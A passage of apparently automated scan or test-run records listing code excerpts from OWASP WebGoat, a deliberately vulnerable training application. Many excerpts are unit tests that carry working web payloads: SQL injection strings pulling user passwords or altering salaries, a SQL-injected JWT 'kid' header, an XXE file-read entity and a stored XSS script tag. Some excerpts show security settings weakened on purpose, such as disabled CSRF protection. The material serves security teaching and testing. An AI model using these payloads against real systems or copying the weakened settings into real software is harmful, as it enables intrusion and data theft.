@Test\n    public void solveAssignment() throws Exception {\n        ObjectMapper objectMapper = new ObjectMapper();\n\n        //First login to obtain tokens for Jerry\n        Map<String, Object> loginJson = Maps.newHashMap();\n        loginJson.put(\"user\", \"Jerry\");\n        loginJson.put(\"password\", PASSWORD);\n        MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/refresh/login\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .content(objectMapper.writeValueAsString(loginJson)))\n                .andExpect(status().isOk())\n                .andReturn();\n        Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);\n        String accessToken = tokens.get(\"access_token\");\n        String refreshToken = tokens.get(\"refresh_token\");\n\n        //Now create a new refresh token for Tom based on Toms old access token and send the refresh token of Jerry\n        String accessTokenTom = \"eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q\";\n        Map<String, Object> refreshJson = Maps.newHashMap();\n        refreshJson.put(\"refresh_token\", refreshToken);\n        result = mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/refresh/newToken\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .header(\"Authorization\", \"Bearer \" + accessTokenTom)\n                .content(objectMapper.writeValueAsString(refreshJson)))\n                .andExpect(status().isOk())\n                .andReturn();\n        tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);\n        accessTokenTom = tokens.get(\"access_token\");\n\n        //Now checkout with the new token from Tom\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/refresh/checkout\")\n                .header(\"Authorization\", \"Bearer \" + accessTokenTom))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }\n\n    @Test\n    public void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/test/java/org/owasp/webgoat/ssrf/SSRFTest1.java\nStartLine: 26, EndLine: 35\nCode:\nprivate SSRF ssrf;\n\n    @Before\n    public void setup() throws Exception {\n        when(webSession.getCurrentLesson()).thenReturn(ssrf);\n        this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();\n    }\n\n    @Test\n    public void modifyUrlTom() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTFinalEndpointTest.java\nStartLine: 37, EndLine: 58\nCode:\n}\n\n    @Test\n    public void solveAssignment() throws Exception {\n        String key = \"deletingTom\";\n        Map<String, Object> claims = Maps.newHashMap();\n        claims.put(\"username\", \"Tom\");\n        String token = Jwts.builder()\n                .setHeaderParam(\"kid\", \"hacked' UNION select '\" + key + \"' from INFORMATION_SCHEMA.SYSTEM_USERS --\")\n                .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))\n                .setClaims(claims)\n                .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key)\n                .compact();\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/final/delete\")\n                .param(\"token\", token)\n                .content(\"\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }\n\n    @Test\n    public void withJerrysKeyShouldNotSolveAssignment() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9Test.java\nStartLine: 174, EndLine: 187\nCode:\n}\n\n    @Test\n    public void SmithIsMostEarningCompletesAssignment() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack9\")\n                .param(\"name\", \"Smith\")\n                .param(\"auth_tan\", \"3SL99A'; UPDATE employees SET salary = '300000' WHERE last_name = 'Smith\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"lessonCompleted\", is(true)))\n                .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.9.success\")))))\n                .andExpect(jsonPath(\"$.output\", containsString(\"300000\")));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/test/java/org/owasp/webgoat/service/LabelServiceTest.java\nStartLine: 59, EndLine: 69\nCode:\n@Test\n    @WithMockUser(username = \"guest\", password = \"guest\")\n    public void withoutLocale() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(URL_LABELS_MVC))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"password\", CoreMatchers.is(\"Password\")));\n    }\n\n    @Test\n    @WithMockUser(username = \"guest\", password = \"guest\")","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTFinalEndpointTest.java\nStartLine: 64, EndLine: 74\nCode:\n}\n\n    @Test\n    public void shouldNotBeAbleToBypassWithSimpleToken() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/final/delete\")\n                .param(\"token\", \".eyJ1c2VybmFtZSI6IlRvbSJ9.\")\n                .content(\"\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"jwt-invalid-token\"))));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java\nStartLine: 50, EndLine: 79\nCode:\n@PostMapping(path = \"xxe/content-type\", consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)\n    @ResponseBody\n    public AttackResult createNewUser(@RequestBody String commentStr, @RequestHeader(\"Content-Type\") String contentType) throws Exception {\n        AttackResult attackResult = failed().build();\n\n        if (APPLICATION_JSON_VALUE.equals(contentType)) {\n            comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c, true));\n            attackResult = failed().feedback(\"xxe.content.type.feedback.json\").build();\n        }\n\n        if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {\n            String error = \"\";\n            try {\n                Comment comment = comments.parseXml(commentStr);\n                comments.addComment(comment, false);\n                if (checkSolution(comment)) {\n                    attackResult = success().build();\n                }\n            } catch (Exception e) {\n                error = org.apache.commons.lang.exception.ExceptionUtils.getFullStackTrace(e);\n                attackResult = failed().feedback(\"xxe.content.type.feedback.xml\").output(error).build();\n            }\n        }\n\n        return trackProgress(attackResult);\n    }\n\n   private boolean checkSolution(Comment comment) {\n       String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTRefreshEndpointTest.java\nStartLine: 95, EndLine: 107\nCode:\n}\n\n    @Test\n    public void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception {\n        String accessTokenTom = \"eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q\";\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/refresh/checkout\")\n                .header(\"Authorization\", \"Bearer \" + accessTokenTom))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.output\", CoreMatchers.containsString(\"JWT expired at\")));\n    }\n\n    @Test\n    public void checkoutWitRandomTokenShouldFail() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson6bTest.java\nStartLine: 53, EndLine: 63\nCode:\n}\n\n    @Test\n    public void submitWrongPassword() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjectionAdvanced/attack6b\")\n                .param(\"userid_6b\", \"John\"))\n\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(false)));\n    }\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTRefreshEndpointTest.java\nStartLine: 113, EndLine: 137\nCode:\n}\n\n    @Test\n    public void flowForJerryAlwaysWorks() throws Exception {\n        ObjectMapper objectMapper = new ObjectMapper();\n\n        Map<String, Object> loginJson = Maps.newHashMap();\n        loginJson.put(\"user\", \"Jerry\");\n        loginJson.put(\"password\", PASSWORD);\n        MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/refresh/login\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .content(objectMapper.writeValueAsString(loginJson)))\n                .andExpect(status().isOk())\n                .andReturn();\n        Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);\n        String accessToken = tokens.get(\"access_token\");\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/refresh/checkout\")\n                .header(\"Authorization\", \"Bearer \" + accessToken))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", is(\"User is not Tom but Jerry, please try again\")));\n    }\n\n    @Test\n    public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpointTest.java\nStartLine: 119, EndLine: 131\nCode:\n}\n\n    @Test\n    public void incorrectToken() throws Exception {\n        Claims claims = createClaims(\"Tom\");\n        String token = Jwts.builder().setClaims(claims).signWith(HS512, \"wrong_password\").compact();\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/secret\")\n                .param(\"token\", token))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"jwt-invalid-token\"))));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10Test.java\nStartLine: 48, EndLine: 72\nCode:\nprivate String completedError = \"JSON path \\\"lessonCompleted\\\"\";\n\n    @Test\n    public void tableExistsIsFailure() throws Exception {\n        try {\n            mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack10\")\n                    .param(\"action_string\", \"\"))\n\n                    .andExpect(status().isOk())\n                    .andExpect(jsonPath(\"lessonCompleted\", is(false)))\n                    .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.10.entries\")))));\n        } catch (AssertionError e) {\n            if (!e.getMessage().contains(completedError)) throw e;\n\n            mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack10\")\n                    .param(\"action_string\", \"\"))\n\n                    .andExpect(status().isOk())\n                    .andExpect(jsonPath(\"lessonCompleted\", is(true)))\n                    .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.10.success\")))));\n        }\n    }\n\n    @Test\n    public void tableMissingIsSuccess() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson6aTest.java\nStartLine: 93, EndLine: 104\nCode:\n}\n\n    @Test\n    public void noUnionUsed() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjectionAdvanced/attack6a\")\n                .param(\"userid_6a\", \"S'; Select * from user_system_data; --\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(true)))\n                .andExpect(jsonPath(\"$.feedback\", containsString(\"UNION\")));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5aTest.java\nStartLine: 59, EndLine: 77\nCode:\n}\n\n  @Test\n  public void sqlInjection() throws Exception {\n    LinkedMultiValueMap<String, String> map = new LinkedMultiValueMap<>();\n    map.add(\"account\", \"'\");\n    map.add(\"operator\", \"OR\");\n    map.add(\"injection\", \"'1' = '1\");\n    mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/assignment5a\")\n            .params(map))\n\n            .andExpect(status().isOk())\n            .andExpect(jsonPath(\"lessonCompleted\", is(true)))\n            .andExpect(jsonPath(\"$.feedback\", containsString(\"You have succeed\")))\n            .andExpect(jsonPath(\"$.output\").exists());\n  }\n\n  @Test\n  public void sqlInjectionWrongShouldDisplayError() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson6aTest.java\nStartLine: 54, EndLine: 67\nCode:\n}\n\n    @Test\n    public void wrongNumberOfColumns() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjectionAdvanced/attack6a\")\n                .param(\"userid_6a\", \"Smith' union select userid,user_name, password,cookie from user_system_data --\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(false)))\n                .andExpect(jsonPath(\"$.output\", containsString(\"column number mismatch detected in rows of UNION, INTERSECT, EXCEPT, or VALUES operation\")));\n    }\n\n    @Test\n    public void wrongDataTypeOfColumns() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/xss/StoredXssCommentsTest.java\nStartLine: 53, EndLine: 66\nCode:\n}\n\n    @Test\n    public void success() throws Exception {\n        ResultActions results = mockMvc.perform(MockMvcRequestBuilders.post(\"/CrossSiteScriptingStored/stored-xss\")\n                .content(\"{\\\"text\\\":\\\"someTextHere<script>webgoat.customjs.phoneHome()</script>MoreTextHere\\\"}\")\n                .contentType(MediaType.APPLICATION_JSON));\n\n        results.andExpect(status().isOk());\n        results.andExpect(jsonPath(\"$.lessonCompleted\",CoreMatchers.is(true)));\n    }\n\n    @Test\n    public void failure() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson6aTest.java\nStartLine: 74, EndLine: 86\nCode:\n}\n\n    @Test\n    public void correctSolution() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjectionAdvanced/attack6a\")\n                .param(\"userid_6a\", \"Smith'; SELECT * from user_system_data; --\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(true)))\n                .andExpect(jsonPath(\"$.feedback\", containsString(\"passW0rD\")));\n    }\n\n    @Test\n    public void noResultsReturned() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/xxe/SimpleXXETest.java\nStartLine: 63, EndLine: 74\nCode:\n}\n\n    @Test\n    public void postingJsonCommentShouldNotSolveAssignment() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/xxe/simple\")\n                .content(\"<comment><text>test</ext></comment>\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"assignment.not.solved\"))));\n    }\n\n    @Test\n    public void postingXmlCommentWithoutXXEShouldNotSolveAssignment() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/client_side_filtering/ShopEndpointTest.java\nStartLine: 59, EndLine: 69\nCode:\n}\n\n    @Test\n    public void getCoupon() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/clientSideFiltering/challenge-store/coupons/webgoat\"))\n                .andExpect(jsonPath(\"$.code\", CoreMatchers.is(\"webgoat\")))\n                .andExpect(jsonPath(\"$.discount\", CoreMatchers.is(25)));\n    }\n\n    @Test\n    public void askForUnknownCouponCode() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/xxe/SimpleXXETest.java\nStartLine: 79, EndLine: 90\nCode:\n}\n\n    @Test\n    public void postingPlainTextShouldShwoException() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/xxe/simple\")\n                .content(\"test\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.output\", CoreMatchers.startsWith(\"javax.xml.bind.UnmarshalException\\\\n - with linked exception\")))\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"assignment.not.solved\"))));\n    }\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/LabelDebugService.java\nStartLine: 79, EndLine: 92\nCode:\n* @throws Exception unhandled exception\n      * @return a {@link org.springframework.http.ResponseEntity} object.\n      */\n     @RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)\n     public @ResponseBody\n     ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam(\"enabled\") Boolean enabled) throws Exception {\n         log.debug(\"Setting label debugging to {} \", labelDebugger.isEnabled());\n         Map<String, Object> result = createResponse(enabled);\n         labelDebugger.setEnabled(enabled);\n         return new ResponseEntity<>(result, HttpStatus.OK);\n     }\n\n    /**\n     * @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/http-proxies/src/test/java/org/owasp/webgoat/http_proxies/HttpBasicsInterceptRequestTest.java\nStartLine: 89, EndLine: 100\nCode:\n}\n\n    @Test\n    public void whenPostAssignmentShouldNotPass() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/HttpProxies/intercept-request\")\n                .header(\"x-request-intercepted\", \"true\")\n                .param(\"changeMe\", \"Requests are tampered easily\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"http-proxies.intercept.failure\"))))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 130, EndLine: 143\nCode:\n}\n\n    @Test\n    public void invalidTokenShouldSeeGuestView() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings\")\n                .cookie(new Cookie(\"access_token\", \"abcd.efgh.ijkl\")))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].average\").doesNotExist());\n    }\n\n    @Test\n    public void tomShouldBeAbleToVote() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/WebSecurityConfig.java\nStartLine: 72, EndLine: 80\nCode:\n@Bean\n    @Override\n    public UserDetailsService userDetailsServiceBean() throws Exception {\n        return userDetailsService;\n    }\n\n    @Override\n    @Bean","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12aTest.java\nStartLine: 93, EndLine: 104\nCode:\n}\n\n    @Test\n    public void postingCorrectAnswerShouldPassTheLesson() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjectionMitigations/attack12a\")\n                .param(\"ip\", \"104.130.219.202\"))\n\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }\n\n    @Test\n    public void postingWrongAnswerShouldNotPassTheLesson() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 97, EndLine: 108\nCode:\n}\n\n    @Test\n    public void tomShouldGetAToken() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings/login\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .param(\"user\", \"Tom\"))\n                .andExpect(status().isOk()).andExpect(cookie().value(\"access_token\", containsString(\"eyJhbGciOiJIUzUxMiJ9.\")));\n    }\n\n    @Test\n    public void guestShouldNotSeeNumberOfVotes() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/WebSecurityConfig.java\nStartLine: 47, EndLine: 69\nCode:\nprivate final UserService userDetailsService;\n\n    @Override\n    protected void configure(HttpSecurity http) throws Exception {\n        ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http\n                .authorizeRequests()\n                .antMatchers(\"/css/**\", \"/images/**\", \"/js/**\", \"/fonts/**\", \"/webjars/**\").permitAll()\n                .antMatchers(\"/WebWolf/**\").authenticated()\n                .anyRequest().permitAll();\n        security.and().csrf().disable().formLogin()\n                .loginPage(\"/login\").failureUrl(\"/login?error=true\");\n        security.and()\n                .formLogin()\n                .loginPage(\"/login\")\n                .defaultSuccessUrl(\"/WebWolf/home\", true)\n                .permitAll();\n        security.and()\n                .logout()\n                .permitAll();\n    }\n\n    @Autowired\n    public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/challenges/Assignment1Test.java\nStartLine: 56, EndLine: 71\nCode:\n}\n\n    @Test\n    public void success() throws Exception {\n        InetAddress addr = InetAddress.getLocalHost();\n        String host = addr.getHostAddress();\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/challenge/1\")\n                .header(\"X-Forwarded-For\", host)\n                .param(\"username\", \"admin\")\n                .param(\"password\", SolutionConstants.PASSWORD))\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.containsString(\"flag: \" + Flag.FLAGS.get(1))))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(true)));\n    }\n\n    @Test\n    public void wrongPassword() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12aTest.java\nStartLine: 67, EndLine: 79\nCode:\n}\n\n    @Test\n    public void trueShouldSortByHostname() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/SqlInjectionMitigations/servers\")\n                .param(\"column\", \"(case when (true) then hostname else id end)\"))\n\n                .andExpect(status().isOk())\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$[0].hostname\", is(\"webgoat-acc\")));\n    }\n\n    @Test\n    public void falseShouldSortById() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 72, EndLine: 92\nCode:\n@PostMapping(\"/challenge/6\")\n    @ResponseBody\n    public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        checkDatabase(connection);\n\n        PreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n        statement.setString(1, username_login);\n        statement.setString(2, password_login);\n        ResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next() && \"tom\".equals(username_login)) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(6)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();\n        }\n    }\n\n    private void checkDatabase(Connection connection) throws SQLException {\n        try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9Test.java\nStartLine: 149, EndLine: 177\nCode:\n}\n\n    @Test\n    public void malformedQueryReturnsError() throws Exception {\n        try {\n            mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack9\")\n                    .param(\"name\", \"Smith\")\n                    .param(\"auth_tan\", \"3SL99A' OR '1' = '1'\"))\n\n                    .andExpect(status().isOk())\n                    .andExpect(jsonPath(\"lessonCompleted\", is(false)))\n                    .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.error\")))))\n                    .andExpect(jsonPath(\"$.output\", containsString(\"feedback-negative\")));\n        } catch (AssertionError e) {\n            if (!e.getMessage().contains(completedError)) throw e;\n\n            mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack9\")\n                    .param(\"name\", \"Smith\")\n                    .param(\"auth_tan\", \"3SL99A' OR '1' = '1'\"))\n\n                    .andExpect(status().isOk())\n                    .andExpect(jsonPath(\"lessonCompleted\", is(true)))\n                    .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.9.success\")))))\n                    .andExpect(jsonPath(\"$.output\", containsString(\"feedback-negative\")));\n        }\n    }\n\n    @Test\n    public void SmithIsMostEarningCompletesAssignment() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/http-proxies/src/test/java/org/owasp/webgoat/http_proxies/HttpBasicsInterceptRequestTest.java\nStartLine: 71, EndLine: 83\nCode:\n}\n\n    @Test\n    public void missingParam() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/HttpProxies/intercept-request\")\n                .header(\"x-request-intercepted\", \"false\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"http-proxies.intercept.failure\"))))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n    }\n\n    @Test\n    public void missingHeader() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/test/java/org/owasp/webgoat/service/LabelServiceTest.java\nStartLine: 67, EndLine: 75\nCode:\n@Test\n    @WithMockUser(username = \"guest\", password = \"guest\")\n    public void withLocale() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(URL_LABELS_MVC).param(\"lang\", \"nl\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"password\", CoreMatchers.is(\"Wachtwoord\")));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\nStartLine: 83, EndLine: 91\nCode:\n}\n\n    @Autowired\n    public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {\n        auth.userDetailsService(userDetailsService); //.passwordEncoder(bCryptPasswordEncoder());\n    }\n\n    @Bean\n    @Override","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/xxe/ContentTypeAssignmentTest.java\nStartLine: 68, EndLine: 80\nCode:\n}\n\n    @Test\n    public void workingAttack() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/xxe/content-type\")\n                .contentType(MediaType.APPLICATION_XML)\n                .content(\"<?xml version=\\\"1.0\\\" standalone=\\\"yes\\\" ?><!DOCTYPE user [<!ENTITY root SYSTEM \\\"file:///\\\"> ]><comment><text>&root;</text></comment>\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"assignment.solved\"))));\n    }\n\n    @Test\n    public void postingJsonShouldAddComment() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 105, EndLine: 118\nCode:\n}\n\n    @Test\n    public void guestShouldNotSeeNumberOfVotes() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings\")\n                .cookie(new Cookie(\"access_token\", \"\")))\n                .andExpect(status().isOk())\n     